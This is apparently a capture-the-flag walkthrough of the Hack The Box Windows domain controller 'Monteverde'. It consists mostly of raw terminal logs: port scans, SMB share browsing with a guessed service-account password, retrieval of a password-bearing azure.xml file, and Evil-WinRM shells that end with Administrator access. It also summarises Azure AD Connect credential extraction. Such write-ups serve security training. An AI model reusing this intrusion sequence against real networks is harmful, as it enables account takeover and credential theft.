┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.10.172 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-11 23:11 CST Nmap scan report for10.10.10.172 Host is up (0.14s latency). Not shown: 65516 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49675/tcp open unknown 49736/tcp open unknown 55252/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 20.42 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49675,49736,55252 --min-rate=10000 -sC -sV 10.10.10.172 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-11 23:13 CST Nmap scan report for10.10.10.172 Host is up (0.11s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-1107:10:10Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49675/tcp open msrpc Microsoft Windows RPC 49736/tcp open msrpc Microsoft Windows RPC 55252/tcp open msrpc Microsoft Windows RPC Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 100.05 seconds
+ + + | User | Description | + + + | Guest | Built-in account for guest access to the computer/domain | | AAD_987d7f2f57d2 | Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE. | + + +
[*] Enumerating Domain Admin Users...
+ + | DomainAdminUsers | + +
[*] Enumerating Domain Groups...
+ + + | DomainGroup | Description | + + + | Enterprise Read-only Domain Controllers | Members of this group are Read-Only Domain Controllers in the enterprise | | Domain Users | All domain users | | Domain Guests | All domain guests | | Domain Computers | All workstations and servers joined to the domain | | Group Policy Creator Owners | Members in this group can modify group policy for the domain | | Cloneable Domain Controllers | Members of this group that are domain controllers may be cloned. | | Protected Users | Members of this group are afforded additional protections against authentication security threats. See http | | DnsUpdateProxy | DNS clients who are permitted to perform dynamic updates on behalf of some other clients(such as DHCP servers). | | Azure Admins | | | File Server Admins | | | Call Recording Admins | | | Reception | | | Operations | | | Trading | | | HelpDesk | | | Developers | | + + +
[+] IP: 10.10.10.172:445 Name: MEGABANK.LOCAL Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin azure_uploads READ ONLY C$ NO ACCESS Default share E$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share users$ READ ONLY
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient -U SABatchJobs%SABatchJobs \\\\10.10.10.172\\azure_uploads Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jan 320:43:062020 .. D 0 Fri Jan 320:43:062020
31999 blocks of size 4096.28979 blocks available smb: \> exit
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient -U SABatchJobs%SABatchJobs \\\\10.10.10.172\\NETLOGON Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jan 306:05:142020 .. D 0 Fri Jan 306:05:142020
5024511 blocks of size 4096.803691 blocks available smb: \> exit
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient -U SABatchJobs%SABatchJobs \\\\10.10.10.172\\SYSVOl Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jan 306:05:142020 .. D 0 Fri Jan 306:05:142020 MEGABANK.LOCAL Dr 0 Fri Jan 306:05:142020
5024511 blocks of size 4096.803691 blocks available smb: \> cd MEGABANK.LOCAL smb: \MEGABANK.LOCAL\> ls . D 0 Fri Jan 306:11:342020 .. D 0 Fri Jan 306:11:342020 DfsrPrivate DHSr 0 Fri Jan 306:11:342020 Policies D 0 Fri Jan 306:05:222020 scripts D 0 Fri Jan 306:05:142020
5024511 blocks of size 4096.803691 blocks available smb: \MEGABANK.LOCAL\>exit
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient -U SABatchJobs%SABatchJobs \\\\10.10.10.172\\users$ Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jan 321:12:482020 .. D 0 Fri Jan 321:12:482020 dgalanos D 0 Fri Jan 321:12:302020 mhope D 0 Fri Jan 321:41:182020 roleary D 0 Fri Jan 321:10:302020 smorgan D 0 Fri Jan 321:10:242020
31999 blocks of size 4096.28979 blocks available smb: \>
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient -U SABatchJobs%SABatchJobs \\\\10.10.10.172\\users$ Try "help" to get a list of possible commands. smb: \> cd dgalanos smb: \dgalanos\> ls . D 0 Fri Jan 321:12:302020 .. D 0 Fri Jan 321:12:302020
31999 blocks of size 4096.28979 blocks available smb: \dgalanos\> cd ../mhope smb: \mhope\> ls . D 0 Fri Jan 321:41:182020 .. D 0 Fri Jan 321:41:182020 azure.xml AR 1212 Fri Jan 321:40:232020
31999 blocks of size 4096.28979 blocks available smb: \mhope\> get azure.xml getting file \mhope\azure.xml of size 1212 as azure.xml (2.2 KiloBytes/sec) (average 2.2 KiloBytes/sec) smb: \mhope\> cd ../roleary smb: \roleary\> ls . D 0 Fri Jan 321:10:302020 .. D 0 Fri Jan 321:10:302020
31999 blocks of size 4096.28979 blocks available smb: \roleary\> cd ../smorgan smb: \smorgan\> ls . D 0 Fri Jan 321:10:242020 .. D 0 Fri Jan 321:10:242020
31999 blocks of size 4096.28979 blocks available smb: \smorgan\> exit
------------------------------------------------------------------------------- AAD_987d7f2f57d2 Administrator dgalanos Guest krbtgt mhope roleary SABatchJobs smorgan svc-ata svc-bexec svc-netapp The command completed with one or more errors.
*Evil-WinRM* PS C:\Users\mhope\Desktop> net group
Group Accounts for \\
------------------------------------------------------------------------------- *Azure Admins *Call Recording Admins *Cloneable Domain Controllers *Developers *DnsUpdateProxy *Domain Admins *Domain Computers *Domain Controllers *Domain Guests *Domain Users *Enterprise Admins *Enterprise Key Admins *Enterprise Read-only Domain Controllers *File Server Admins *Group Policy Creator Owners *HelpDesk *Key Admins *Operations *Protected Users *Read-only Domain Controllers *Reception *Schema Admins *Trading The command completed with one or more errors.
*Evil-WinRM* PS C:\Users\mhope\Desktop> net user mhope User name mhope Full Name Mike Hope Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set1/2/20204:40:05 PM Password expires Never Password changeable 1/3/20204:40:05 PM Password required Yes User may change password No
Workstations allowed All Logon script User profile Home directory \\monteverde\users$\mhope Last logon 5/11/20241:54:49 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use Global Group memberships *Azure Admins *Domain Users The command completed successfully.
*Evil-WinRM* PS C:\Users\mhope\Desktop> net group "Azure Admins" Group name Azure Admins Comment
Members
------------------------------------------------------------------------------- AAD_987d7f2f57d2 Administrator mhope The command completed successfully.
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\mhope\Desktop>
Computer Name : MONTEVERDE User Name : AAD_987d7f2f57d2 User Id : 1104 Is Enabled : True User Type : User Comment : Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE. Last Logon : 5/10/202411:59:00 PM Logons Count : 11 Password Last Set : 1/2/20203:53:24 PM
Computer Name : MONTEVERDE User Name : svc-ata User Id : 2603 Is Enabled : True User Type : User Comment : Last Logon : 1/1/197012:00:00 AM Logons Count : 0 Password Last Set : 1/3/20205:58:31 AM
Computer Name : MONTEVERDE User Name : svc-bexec User Id : 2604 Is Enabled : True User Type : User Comment : Last Logon : 1/1/197012:00:00 AM Logons Count : 0 Password Last Set : 1/3/20205:59:55 AM
Computer Name : MONTEVERDE User Name : svc-netapp User Id : 2605 Is Enabled : True User Type : User Comment : Last Logon : 1/1/197012:00:00 AM Logons Count : 0 Password Last Set : 1/3/20206:01:42 AM
Computer Name : MONTEVERDE User Name : dgalanos User Id : 2613 Is Enabled : True User Type : User Comment : Last Logon : 1/1/197012:00:00 AM Logons Count : 0 Password Last Set : 1/3/20206:06:10 AM
Computer Name : MONTEVERDE User Name : roleary User Id : 2614 Is Enabled : True User Type : User Comment : Last Logon : 1/1/197012:00:00 AM Logons Count : 0 Password Last Set : 1/3/20206:08:05 AM
Computer Name : MONTEVERDE User Name : smorgan User Id : 2615 Is Enabled : True User Type : User Comment : Last Logon : 1/1/197012:00:00 AM Logons Count : 0 Password Last Set : 1/3/20206:09:21 AM
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files C:\Users\mhope\.azure\TokenCache.dat (Azure Token Cache) Accessed:1/3/20205:36:14 AM -- Size:7896
C:\Users\mhope\.azure\AzureRMContext.json (Azure RM Context) Accessed:1/3/20205:35:57 AM -- Size:2794
Monteverde 是一台中型 Windows 计算机,具有 Azure AD Connect 功能。枚举域并创建用户列表。通过密码喷射,发现“SABatchJobs”服务帐户将用户名作为密码。使用此服务帐户,可以枚举系统上的 SMB 共享,并且发现“$users”共享是世界可读的。用于 Azure AD 帐户的 XML 文件位于用户文件夹中,并且包含密码。由于密码重用,我们可以使用 WinRM 作为“mhope”连接到域控制器。枚举显示已安装“Azure AD Connect”。可以提取将目录更改复制到 Azure 的帐户(在本例中为默认域管理员)的凭据。
*Evil-WinRM* PS C:\Users\mhope\Documents> cd C:\"Program Files" *Evil-WinRM* PS C:\Program Files> ls *Azure*
Directory: C:\Program Files
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/2/20202:51 PM Microsoft Azure Active Directory Connect d----- 1/2/20203:37 PM Microsoft Azure Active Directory Connect Upgrader d----- 1/2/20203:02 PM Microsoft Azure AD Connect Health Sync Agent d----- 1/2/20202:53 PM Microsoft Azure AD Sync
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> ls